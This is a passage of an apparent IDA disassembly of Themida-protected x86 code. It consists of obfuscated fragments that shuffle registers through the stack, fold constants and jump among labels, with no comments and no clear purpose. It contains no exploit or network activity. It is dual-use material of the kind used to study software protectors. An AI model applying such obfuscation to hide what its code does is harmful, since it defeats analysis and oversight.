jmp loc_58F090
; ---------------------------------------------------------------------------
loc_596B34: ; CODE XREF: Themida_:00594B54j
xchg ecx, [esp]
sub esp, 4
jmp loc_59D592
; ---------------------------------------------------------------------------
loc_596B42: ; CODE XREF: Themida_:00595A27j
pop ebp
jmp loc_599E86
; ---------------------------------------------------------------------------
loc_596B48: ; CODE XREF: Themida_:00590A48j
mov [esp], ecx
jmp loc_599BB2
; ---------------------------------------------------------------------------
loc_596B50: ; CODE XREF: Themida_:0058FED2j
pop ecx
mov edx, 87AB199Fh
xor edx, ebx
pop ebx
sub edx, ebp
mov ebp, [esp]
add esp, 4
sub esi, edx
mov edx, [esp]
add esp, 4
sub edi, 113D29B3h
add edi, 546A1E65h
sub edi, esi
jmp loc_5929F1
; ---------------------------------------------------------------------------
loc_596B7F: ; CODE XREF: Themida_:005A1615j
add ebp, ecx
sub ebp, 55747466h
pop ecx
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_5969CA
; =============== S U B R O U T I N E =======================================
sub_596B96 proc near ; CODE XREF: sub_591554+4CBCj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058E543 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595A06 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C045 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A2873 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2D39 SIZE 0000000C BYTES
sub esp, 4
mov [esp+0], esi
jmp loc_5A2873
sub_596B96 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_596BA4: ; CODE XREF: Themida_:005953AAj
add edx, ebp
pop ebp
push ebx
push edi
mov edi, 233C3496h
shr edi, 7
xor edi, 264A5C57h
xor edi, 260C243Ch
mov ebx, edi
push dword ptr [esp]
pop edi
jmp loc_5A05BC
; ---------------------------------------------------------------------------
loc_596BC8: ; CODE XREF: Themida_:0058E9C4j
push edi
mov edi, 1CD66548h
push eax
mov eax, 6FA40C42h
sub eax, 0A31FC77h
and edi, eax
jmp loc_5963F9
; ---------------------------------------------------------------------------
loc_596BE0: ; CODE XREF: Themida_:0058E46Cj
sub ebx, 547172B8h
neg ebx
not ebx
jmp loc_590508
; ---------------------------------------------------------------------------
loc_596BEF: ; CODE XREF: Themida_:0058FCACj
push ebx
jmp loc_599EFD
; ---------------------------------------------------------------------------
loc_596BF5: ; CODE XREF: Themida_:00590410j
mov bl, 61h
jmp loc_595B7E
; ---------------------------------------------------------------------------
loc_596BFC: ; CODE XREF: Themida_:00593A27j
mov ebx, esp
jmp loc_590529
; ---------------------------------------------------------------------------
loc_596C03: ; CODE XREF: Themida_:005A0E34j
add ebx, 53241697h
jmp loc_5907BF
; ---------------------------------------------------------------------------
loc_596C0E: ; CODE XREF: Themida_:00596141j
push 4CE4h
jmp loc_59BEC9
; ---------------------------------------------------------------------------
loc_596C18: ; CODE XREF: Themida_:0058FEEBj
push 5883h
jmp loc_592DF5
; ---------------------------------------------------------------------------
loc_596C22: ; CODE XREF: Themida_:0059A3C4j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_596C27: ; CODE XREF: Themida_:005A1236j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_58FD27
; ---------------------------------------------------------------------------
loc_596C38: ; CODE XREF: Themida_:0059AD43j
add ebp, edi
jmp loc_5A0191
; ---------------------------------------------------------------------------
loc_596C3F: ; CODE XREF: Themida_:005A1C14j
sub esp, 4
mov [esp], edi
push 9E1h
mov [esp], ebx
mov ebx, 27E31D5h
inc ebx
add ebx, 25FB3EEAh
push ebx
pop edi
pop ebx
sub edi, 287970BFh
jmp loc_5A29B8
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58F392
; ---------------------------------------------------------------------------
loc_596C91: ; CODE XREF: Themida_:0059A5A3j
xchg eax, ebp
not eax
xchg eax, ebp
neg ebp
jmp loc_590639
; ---------------------------------------------------------------------------
loc_596C9C: ; CODE XREF: Themida_:0059CC62j
mov esp, [esp]
jmp loc_594C4B
; ---------------------------------------------------------------------------
loc_596CA4: ; CODE XREF: Themida_:005A1B42j
mov esp, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 42793994h
sub esp, 4
mov [esp], ecx
push esi
push 3549ADh
pop esi
jmp loc_594118
; ---------------------------------------------------------------------------
loc_596CD0: ; CODE XREF: Themida_:0059057Ej
pop bp
sub bx, dx
pop edx
push ax
mov ax, 243Ah
and bx, ax
mov ax, [esp]
add esp, 2
sub bx, 1705h
neg bx
add bx, 12A3h
sub cx, bx
pop ebx
jmp loc_5A0D9E
; ---------------------------------------------------------------------------
loc_596CFF: ; CODE XREF: Themida_:00599372j
sub dl, 4Fh
xor dl, 53h
and cl, dl
jmp loc_5A22F6
; ---------------------------------------------------------------------------
loc_596D0C: ; CODE XREF: Themida_:005997D4j
mov dl, ah
mov cl, dl
pop edx
mov ah, bh
mov bh, cl
pop cx
xor bh, 0ABh
add al, bh
push dword ptr [esp]
jmp loc_59AC0D
; ---------------------------------------------------------------------------
loc_596D24: ; CODE XREF: Themida_:0058F406j
mov esi, 45F0307Ch
or esi, 737819A8h
shr esi, 3
shl esi, 2
jmp loc_594581
; ---------------------------------------------------------------------------
loc_596D3A: ; CODE XREF: Themida_:005952B0j
mov edi, [esp]
push eax
mov eax, esp
jmp loc_593E32
; ---------------------------------------------------------------------------
loc_596D45: ; CODE XREF: Themida_:0058FFAEj
push esi
jmp loc_594CFF
; ---------------------------------------------------------------------------
loc_596D4B: ; CODE XREF: Themida_:00597186j
push dword ptr [esp]
pop edx
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, esi
mov esi, [esp]
jmp loc_5A2C18
; ---------------------------------------------------------------------------
loc_596D76: ; CODE XREF: Themida_:005994B9j
and cl, 0A1h
sub cl, 88h
sub al, cl
mov ecx, [esp]
add esp, 4
sub al, 54h
jmp loc_58F755
; ---------------------------------------------------------------------------
loc_596D8E: ; CODE XREF: Themida_:00597D98j
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
xor al, bl
jmp loc_59B1DF
; ---------------------------------------------------------------------------
loc_596DA2: ; CODE XREF: Themida_:0059581Cj
push 35C2h
jmp loc_595536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_596DAC: ; CODE XREF: sub_5A1999-41ECj
xor eax, edi
push [esp-8+arg_4]
pop edi
add esp, 4
push 66EEh
mov [esp-8+arg_4], edx
push edi
push esi
mov esi, 65DD4917h
mov edi, 0DC3404EBh
add edi, esi
pop esi
mov edx, 2CF11DB7h
xor edx, edi
mov edi, [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_596663
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_596DE4: ; CODE XREF: Themida_:0059F6AEj
push dword ptr [esp]
pop eax
add esp, 4
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A093D
; ---------------------------------------------------------------------------
loc_596DFC: ; CODE XREF: Themida_:00598D02j
and edx, 3D8234FBh
jmp loc_5A2DB1
; ---------------------------------------------------------------------------
loc_596E07: ; CODE XREF: Themida_:0059FB52j
pop edx
jmp loc_598E14
; ---------------------------------------------------------------------------
loc_596E0D: ; CODE XREF: Themida_:0059491Ej
mov [esp], edx
jmp loc_59BA08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E30
loc_596E15: ; CODE XREF: sub_592E30+C49Bj
push esi
mov esi, 22494CEEh
push ebp
mov ebp, 17E74420h
shr ebp, 5
dec ebp
add ebp, 0FFFFFFFFh
not ebp
push esi
mov esi, 0D855A8B1h
sub ebp, esi
jmp loc_58EBE7
; END OF FUNCTION CHUNK FOR sub_592E30
; ---------------------------------------------------------------------------
loc_596E37: ; CODE XREF: Themida_:00593C76j
add esp, 4
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
not ebx
xchg ebx, ecx
push esi
jmp loc_5A2575
; ---------------------------------------------------------------------------
loc_596E4A: ; CODE XREF: Themida_:00590A3Fj
push edi
mov edi, 192810CCh
xor esi, edi
pop edi
sub esi, 25A06172h
add ebx, esi
pop esi
push ecx
push esp
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push 72F97B5Bh
pop edx
push edx
jmp loc_592ADF
; ---------------------------------------------------------------------------
loc_596E87: ; CODE XREF: Themida_:0059F681j
mov esp, [esp]
test cx, ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_596E93: ; CODE XREF: Themida_:0059FF83j
mov [esp], edi
mov edi, 4
push edi
jmp loc_5A0B4E
; ---------------------------------------------------------------------------
loc_596EA1: ; CODE XREF: Themida_:0058F9F0j
xchg ebx, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_596EB1: ; CODE XREF: sub_59233E+98C8j
add edx, 8587B1Dh
push eax
mov eax, 3F2C12D0h
push edi
push ecx
jmp loc_5901D7
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_596EC4: ; CODE XREF: Themida_:00595077j
add eax, 72232B13h
pop ebx
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
or [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_596EF8: ; CODE XREF: Themida_:005A04D6j
mov [esp], ebx
mov ebx, 585D5EDFh
push esi
jmp loc_590A3A
; ---------------------------------------------------------------------------
loc_596F06: ; CODE XREF: Themida_:00591400j
pop ebp
mov edi, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
rep movsd
add esp, [edx+38h]
jmp loc_59D46F
; ---------------------------------------------------------------------------
loc_596F1D: ; CODE XREF: Themida_:0059B0BAj
mov esi, 455704E6h
jmp loc_5996B6
; ---------------------------------------------------------------------------
loc_596F27: ; CODE XREF: Themida_:0059FE3Dj
pop dword ptr [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
jmp loc_59E587
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59CF26
; ---------------------------------------------------------------------------
loc_596F41: ; CODE XREF: Themida_:0059970Cj
sub esp, 4
mov [esp], edx
mov dl, 0Ch
jmp loc_59BDFD
; ---------------------------------------------------------------------------
loc_596F4E: ; CODE XREF: Themida_:0059AFD4j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5958AB
; ---------------------------------------------------------------------------
loc_596F68: ; CODE XREF: Themida_:0059C388j
add edi, 758B45A0h
add edi, 74DF5119h
add edi, 632647EAh
push ecx
jmp loc_591DFB
; ---------------------------------------------------------------------------
loc_596F80: ; CODE XREF: Themida_:005A2DE3j
pop ebx
sub dl, 93h
xor al, dl
mov edx, [esp]
push edx
jmp loc_5A0734
; ---------------------------------------------------------------------------
loc_596F8F: ; CODE XREF: Themida_:00590340j
mov eax, 531B6760h
jmp loc_5A0C98
; ---------------------------------------------------------------------------
loc_596F99: ; CODE XREF: Themida_:0059B84Dj
push esi
push ecx
mov ecx, 6C3F0C37h
jmp loc_591F52
; ---------------------------------------------------------------------------
loc_596FA5: ; CODE XREF: Themida_:00599398j
sub eax, 7A16229Fh
pop edi
push edi
mov edi, 4
add eax, 64072D1h
add eax, edi
jmp loc_59EB14
; ---------------------------------------------------------------------------
loc_596FBD: ; CODE XREF: Themida_:005A0642j
mov [esp], edi
mov edi, 79C10418h
add eax, edi
mov edi, [esp]
jmp loc_5938D9
; ---------------------------------------------------------------------------
loc_596FCF: ; CODE XREF: Themida_:005A2A7Ej
add esp, 4
push ebx
mov ebx, 140C2D43h
shl ebx, 7
sub ebx, 5E007670h
neg ebx
neg ebx
xor ebx, 0A90D54AEh
xor ebp, ebx
pop ebx
dec ebp
shr ebp, 6
neg ebp
push edi
mov edi, 0B415B98Ah
xor ebp, edi
pop edi
xor edx, ebp
mov ebp, [esp]
add esp, 4
push 5CA8h
mov [esp], edi
mov edi, 56596E62h
or edi, 7B9328BEh
add edi, 33757037h
push edi
not dword ptr [esp]
pop edi
neg edi
shl edi, 8
add edi, 0ABA1914Ah
add edx, edi
pop edi
sub esp, 4
mov [esp], edx
sub dword ptr [esp], 4CB9701Dh
mov ebp, [esp]
add esp, 4
jmp loc_58F838
; ---------------------------------------------------------------------------
loc_597052: ; CODE XREF: Themida_:0059DD4Aj
pop ebx
jmp loc_5932A9
; ---------------------------------------------------------------------------
loc_597058: ; CODE XREF: Themida_:005A306Fj
inc eax
sub eax, 0A38B5E6Fh
add ebp, eax
jmp loc_59B501
; ---------------------------------------------------------------------------
loc_597065: ; CODE XREF: Themida_:005A0C50j
not dl
push ecx
mov ch, 22h
sub dl, ch
pop ecx
sub dl, 76h
mov al, dl
jmp loc_59050E
; ---------------------------------------------------------------------------
loc_597077: ; CODE XREF: Themida_:00599D74j
add ecx, ebx
add ecx, 83F7051h
pop ebx
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A300E
; ---------------------------------------------------------------------------
loc_59708B: ; CODE XREF: Themida_:0059CBAAj
pop ebp
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_59C5B9
; ---------------------------------------------------------------------------
loc_59709D: ; CODE XREF: Themida_:005A1594j
add esp, 4
sub eax, ebx
mov ebx, [esp]
add esp, 4
mov edx, [esp]
jmp loc_59A0F2
; ---------------------------------------------------------------------------
loc_5970B3: ; CODE XREF: Themida_:005908A4j
sub esp, 4
mov [esp], esi
jmp loc_59BA79
; ---------------------------------------------------------------------------
loc_5970C1: ; CODE XREF: Themida_:00590B0Ej
push ebx
jmp loc_598AF7
; ---------------------------------------------------------------------------
loc_5970C7: ; CODE XREF: Themida_:00598B0Bj
mov ecx, 4C50FCAh
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], edx
push 1E5F4C57h
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 15952854h
or edx, ebp
mov ebp, [esp]
add esp, 4
push 382h
mov [esp], eax
mov eax, 1B1A5C89h
push ebx
jmp loc_59CEBC
; ---------------------------------------------------------------------------
loc_59710A: ; CODE XREF: Themida_:00592079j
add al, ch
pop ecx
add al, 7Fh
push esi
mov esi, esp
push eax
mov eax, 5AF07738h
inc eax
sub eax, 5AF07735h
add esi, eax
pop eax
jmp loc_59341E
; ---------------------------------------------------------------------------
loc_597126: ; CODE XREF: Themida_:0058E77Cj
shl esi, 4
inc esi
jmp loc_5A1F5E
; ---------------------------------------------------------------------------
loc_59712F: ; CODE XREF: Themida_:0059361Fj
dec bh
add bh, 0FBh
jmp loc_599F31
; ---------------------------------------------------------------------------
loc_597139: ; CODE XREF: Themida_:005904BEj
dec edi
inc edi
jmp loc_595658
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
mov eax, 7D3C52DCh
push ecx
mov ecx, 290317CEh
and eax, ecx
pop ecx
neg eax
push esi
mov esi, 0D6FFED0Ch
jmp loc_58E3CD
; ---------------------------------------------------------------------------
loc_597164: ; CODE XREF: Themida_:0059A8DFj
mov ebx, 3B5B2DEEh
sub [esp+4], ebx
push dword ptr [esp]
jmp loc_59E347
; ---------------------------------------------------------------------------
loc_597175: ; CODE XREF: Themida_:00590650j
mov esi, ecx
pop ecx
add esi, 2DDE5876h
sub esi, edx
sub esi, 2DDE5876h
jmp loc_596D4B
; ---------------------------------------------------------------------------
loc_59718B: ; CODE XREF: Themida_:00590C3Aj
mov eax, [esp]
add esp, 4
sub eax, ebp
push dword ptr [esp]
jmp loc_5918E8
; ---------------------------------------------------------------------------
loc_59719E: ; CODE XREF: Themida_:0058EC4Cj
xor ecx, [esp]
mov esp, [esp]
jmp loc_5A0F13
; ---------------------------------------------------------------------------
loc_5971A9: ; CODE XREF: Themida_:005951FCj
push dword ptr [esp+4]
jmp loc_59F67D
; ---------------------------------------------------------------------------
loc_5971B2: ; CODE XREF: Themida_:0059B20Dj
mov ah, cl
inc ah
jmp loc_59EB78
; ---------------------------------------------------------------------------
loc_5971BB: ; CODE XREF: Themida_:00595793j
not ch
jmp loc_59EF11
; ---------------------------------------------------------------------------
loc_5971C2: ; CODE XREF: Themida_:005968F8j
mov ecx, 4
add ebp, 2CB70E2Bh
add ebp, 399F2EF0h
add ebp, ecx
sub ebp, 399F2EF0h
sub ebp, 2CB70E2Bh
pop ecx
push ebp
jmp loc_593D28
; ---------------------------------------------------------------------------
loc_5971E8: ; CODE XREF: Themida_:005A2BB4j
pop ax
add cl, 0D8h
add cl, dl
jmp loc_598312
; ---------------------------------------------------------------------------
loc_5971F4: ; CODE XREF: Themida_:00592A49j
sub edi, ebx
pop ebx
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 5C3D0616h
jmp loc_5A2D1D
; ---------------------------------------------------------------------------
loc_597208: ; CODE XREF: Themida_:005A1AA3j
push 6C1Bh
jmp loc_5966AF
; ---------------------------------------------------------------------------
loc_597212: ; CODE XREF: Themida_:0058F820j
mov [ecx], edi
pop edi
xor dword ptr [ecx], 26E277F2h
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_5A19C8
; ---------------------------------------------------------------------------
loc_59722C: ; CODE XREF: Themida_:0058F3B1j
push 33A7360Dh
mov edx, [esp]
add esp, 4
push esi
mov esi, 0C9A6CAFh
sub esi, 2CE94F59h
dec esi
xor esi, 3180754Eh
add esi, 7373FFFFh
and edx, esi
pop esi
jmp loc_59968F
; ---------------------------------------------------------------------------
loc_597258: ; CODE XREF: Themida_:0059AD8Dj
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], esi
push ecx
push 4C6B09A0h
jmp loc_59B57F
; ---------------------------------------------------------------------------
loc_59726D: ; CODE XREF: Themida_:00598192j
pop edi
push ebp
mov ebp, 4
add edi, ebp
jmp loc_59B5E5
; ---------------------------------------------------------------------------
loc_59727B: ; CODE XREF: Themida_:0059F1CFj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 1
push ebx
mov ebx, 42B66983h
sub dword ptr [esp+8], 16046BDFh
sub [esp+8], ebx
add dword ptr [esp+8], 16046BDFh
pop ebx
add [esp+4], ebp
push ebx
mov ebx, 42B66983h
sub dword ptr [esp+8], 1E882743h
add [esp+8], ebx
push 7A4Ah
mov [esp], eax
jmp loc_59C39A
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59DC53
; ---------------------------------------------------------------------------
loc_5972D1: ; CODE XREF: Themida_:00593975j
pop edx
and eax, 33C21A89h
shr eax, 8
push edi
mov edi, 32C21Ch
xor eax, edi
mov edi, [esp]
add esp, 4
add ebx, 71F75F7h
add ebx, eax
sub ebx, 71F75F7h
pop eax
push 7DF3h
mov [esp], eax
mov eax, 4
sub ebx, 53241697h
jmp loc_58EA4A
; ---------------------------------------------------------------------------
loc_597312: ; CODE XREF: Themida_:005A05BFj
sub edx, 173522Ah
jmp loc_599ADB
; ---------------------------------------------------------------------------
loc_59731D: ; CODE XREF: Themida_:00592533j
dec ebp
jmp loc_59C24E
; ---------------------------------------------------------------------------
loc_597323: ; CODE XREF: Themida_:005959C2j
xor ecx, 2E435192h
add ebp, ecx
mov ecx, [esp]
add esp, 4
add eax, ebp
pop ebp
pop edi
xor ebx, eax
pop small word ptr [eax]
jmp loc_59EB0F
; ---------------------------------------------------------------------------
loc_59733F: ; CODE XREF: Themida_:0058FEC4j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_597344: ; CODE XREF: Themida_:005A0794j
mov ax, [esp]
push 14EEh
mov [esp], ebp
jmp loc_5A2B21
; ---------------------------------------------------------------------------
loc_597355: ; CODE XREF: Themida_:005A1B81j
xchg esi, [esp]
pop esp
jmp loc_5A2373
; ---------------------------------------------------------------------------
loc_59735E: ; CODE XREF: Themida_:0059F45Fj
pop ebx
push 28A9h
mov [esp], edx
push edx
push ecx
mov ecx, 421B1C8Ah
mov edx, 527970D0h
xor edx, ecx
pop ecx
xor [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
jmp loc_599220
; ---------------------------------------------------------------------------
loc_597392: ; CODE XREF: Themida_:005A1AFBj
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
jmp loc_593516
; ---------------------------------------------------------------------------
loc_5973AB: ; CODE XREF: Themida_:0059351Cj
push esi
mov esi, 661A5806h
sub edi, esi
mov esi, [esp]
jmp loc_59BC57
; ---------------------------------------------------------------------------
loc_5973BB: ; CODE XREF: Themida_:00592C00j
pop esp
add eax, esi
jmp loc_59F711
; ---------------------------------------------------------------------------
loc_5973C3: ; CODE XREF: Themida_:00595E85j
mov dh, ch
pop ecx
pop ebx
mov bh, 84h
xor bh, dh
push dword ptr [esp]
pop edx
add esp, 4
add al, 32h
add al, 0A9h
sub al, bh
jmp loc_58E5F6
; ---------------------------------------------------------------------------
loc_5973E0: ; CODE XREF: Themida_:0059F6F4j
sub ebp, eax
pop eax
sub ebp, 346718Ah
push eax
push 73443C38h
pop eax
sub ebp, eax
jmp loc_59E228
; ---------------------------------------------------------------------------
loc_5973F7: ; CODE XREF: Themida_:00591936j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5973FC: ; CODE XREF: Themida_:005A036Aj
pop esi
pop ebx
sub esi, 0BF7CEEECh
jmp loc_58E4B3
; ---------------------------------------------------------------------------
loc_597409: ; CODE XREF: Themida_:00591AC0j
mov [esp], eax
mov eax, 3D535711h
mov esi, 72F62C81h
xor esi, eax
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A2669
; ---------------------------------------------------------------------------
loc_59742C: ; CODE XREF: Themida_:00597693j
sub al, bh
sub esp, 4
jmp loc_5A0DDC
; ---------------------------------------------------------------------------
loc_597439: ; CODE XREF: Themida_:0058FA29j
shl ebx, 1
jmp loc_599DB8
; ---------------------------------------------------------------------------
loc_597440: ; DATA XREF: Themida_:0058E09Co
movzx ax, byte ptr [edx]
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
push eax
push ebp
jmp loc_58F7B7
; ---------------------------------------------------------------------------
loc_59745B: ; CODE XREF: Themida_:005A2BF4j
add edi, edx
pop edx
sub edi, 6A617DC8h
add edi, esi
add edi, 6A617DC8h
sub edi, 13F84780h
pop esi
add edi, 4
xchg edi, [esp]
mov esp, [esp]
sub dword ptr [esp], 69BF0A66h
add [esp], eax
add dword ptr [esp], 69BF0A66h
push 7330h
mov [esp], ebx
mov ebx, 16DF12F2h
add [esp+4], ebx
pop ebx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5974A4: ; CODE XREF: Themida_:005A0D91j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push 2E79h
mov [esp], edi
jmp loc_594D26
; ---------------------------------------------------------------------------
loc_5974BA: ; CODE XREF: Themida_:005933F6j
pop esp
mul cl
movzx cx, ah
push small 54C6h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5974D5: ; CODE XREF: Themida_:005A1791j
mov ebp, esp
jmp loc_59D06F
; ---------------------------------------------------------------------------
loc_5974DC: ; CODE XREF: Themida_:0059F447j
mov ebx, 27BABE4Eh
jmp loc_59C091
; ---------------------------------------------------------------------------
loc_5974E6: ; CODE XREF: Themida_:00599132j
pop ebp
add ebx, ecx
sub ebx, 26B46053h
mov ecx, [esp]
push edx
push esp
pop edx
add edx, 4
jmp loc_597E6C
; ---------------------------------------------------------------------------
loc_597500: ; CODE XREF: Themida_:005A2EFAj
xor ebx, [esp]
mov esp, [esp]
and dl, 24h
not dl
push eax
jmp loc_59764A
; ---------------------------------------------------------------------------
loc_597511: ; CODE XREF: Themida_:0059B869j
sub ebx, ecx
pop ecx
add ebx, edi
add ebx, 2FA41139h
pop edi
sub ebx, esi
sub ebx, 26F61C9Eh
pop esi
jmp loc_5A096A
; ---------------------------------------------------------------------------
loc_59752B: ; CODE XREF: Themida_:0059FDA5j
pop esp
add eax, 4
push ebp
mov ebp, esp
sub esp, 4
mov [esp], ebx
jmp loc_597C98
; ---------------------------------------------------------------------------
loc_597542: ; CODE XREF: Themida_:00597DDEj
inc eax
inc eax
and eax, 7C763012h
sub esp, 4
mov [esp], edi
push esi
mov esi, 2B452F3Dh
mov edi, esi
pop esi
sub edi, 0FFFFFFFFh
shr edi, 4
shr edi, 5
xor edi, 799314BEh
or edi, 61E77FADh
sub esp, 4
jmp loc_59FC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_597575: ; CODE XREF: sub_591554+CF16j
push edi
mov edi, 286D38D8h
jmp loc_5A0818
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_597580: ; CODE XREF: Themida_:0059B3F4j
push ebx
push esi
mov esi, 4
mov ebx, esi
pop esi
jmp loc_59773C
; ---------------------------------------------------------------------------
loc_59758F: ; CODE XREF: Themida_:00595FC6j
sub ebp, 59410843h
add ebp, esi
add ebp, 59410843h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_59421F
; ---------------------------------------------------------------------------
loc_5975B1: ; CODE XREF: Themida_:005A22F1j
pop edi
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 37FFE77Ch
sub eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
mov esi, esp
push ebp
mov ebp, 0A5474A2h
and ebp, 60AD0DEBh
push ebx
mov ebx, 292F40E2h
add ebx, 28CB3648h
shl ebx, 8
xor ebx, 58CD162h
add ebp, ebx
pop ebx
add esi, ebp
pop ebp
push ebp
mov ebp, 2E5F65A8h
add ebp, 0D1A09A5Ch
add esi, ebp
pop ebp
jmp loc_59D2F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_597607: ; CODE XREF: sub_591554-1CB3j
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], ebx
mov ebx, 4
jmp loc_5986CF
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59761B: ; CODE XREF: Themida_:0059BA28j
mov eax, [esp]
add esp, 4
add esp, 4
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
sub edi, 4
jmp loc_590EEB
; ---------------------------------------------------------------------------
loc_597643: ; CODE XREF: Themida_:005A22C6j
add al, dh
jmp loc_58FD4F
; ---------------------------------------------------------------------------
loc_59764A: ; CODE XREF: Themida_:0059750Cj
mov al, 9Ch
inc al
xor al, 62h
sub dl, al
pop eax
shl dl, 1
jmp loc_5A0E4E
; ---------------------------------------------------------------------------
loc_59765A: ; CODE XREF: Themida_:0059C624j
mov [esp], ebp
jmp loc_59B16F
; ---------------------------------------------------------------------------
loc_597662: ; CODE XREF: Themida_:005A00D2j
mov esp, [esp]
push 7362h
mov [esp], eax
mov eax, esp
push 1CA1h
mov [esp], edx
jmp loc_599E79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59767C: ; CODE XREF: sub_590877+B6B5j
add cl, dl
pop dx
sub dl, cl
pop ecx
xor dl, 78h
add al, 15h
jmp loc_5A25F5
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59768D: ; CODE XREF: Themida_:0058FB4Cj
sub bl, 44h
add al, bl
pop ebx
jmp loc_59742C
; ---------------------------------------------------------------------------
loc_597698: ; CODE XREF: Themida_:0059B218j
sub eax, 3E87F819h
sub ecx, eax
pop eax
shr ecx, 4
not ecx
sub ecx, 0AB216E2Bh
add eax, ecx
pop ecx
push ebp
mov ebp, 0B9A0B20h
inc ebp
not ebp
jmp loc_593BAB
; ---------------------------------------------------------------------------
loc_5976BC: ; CODE XREF: Themida_:005A1190j
shr ecx, 0Bh
push 0CF5h
mov [esp], ebx
add dword ptr [esp], 7ACD6B0Ch
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_5A2CEF
; ---------------------------------------------------------------------------
loc_5976D9: ; CODE XREF: Themida_:005A1158j
mov ecx, [esp]
add esp, 4
or eax, eax
jnz loc_597D1E
push 54C2h
mov [esp], edi
sub esp, 4
mov [esp], ebx
mov ebx, 71F62676h
jmp loc_59CB75
; ---------------------------------------------------------------------------
loc_597705: ; CODE XREF: Themida_:0059CCC5j
pop edi
jmp loc_595C63
; ---------------------------------------------------------------------------
loc_59770B: ; CODE XREF: Themida_:005946F6j
mov esi, 7A7319B3h
mov ebx, 9C11E9A3h
add ebx, esi
pop esi
xor ebx, eax
push dword ptr [esp]
jmp loc_594923
; ---------------------------------------------------------------------------
loc_597722: ; CODE XREF: Themida_:0059EBE7j
xor dh, 71h
add al, 85h
add al, dh
sub al, 85h
mov edx, [esp]
add esp, 4
push edx
mov dl, 7Fh
jmp loc_597EDC
; ---------------------------------------------------------------------------
loc_59773C: ; CODE XREF: Themida_:0059758Aj
sub ecx, 68991788h
add ecx, ebx
jmp loc_59DECF
; ---------------------------------------------------------------------------
loc_597749: ; CODE XREF: Themida_:0058F8D5j
sub ebp, 0A141E897h
mov eax, ebp
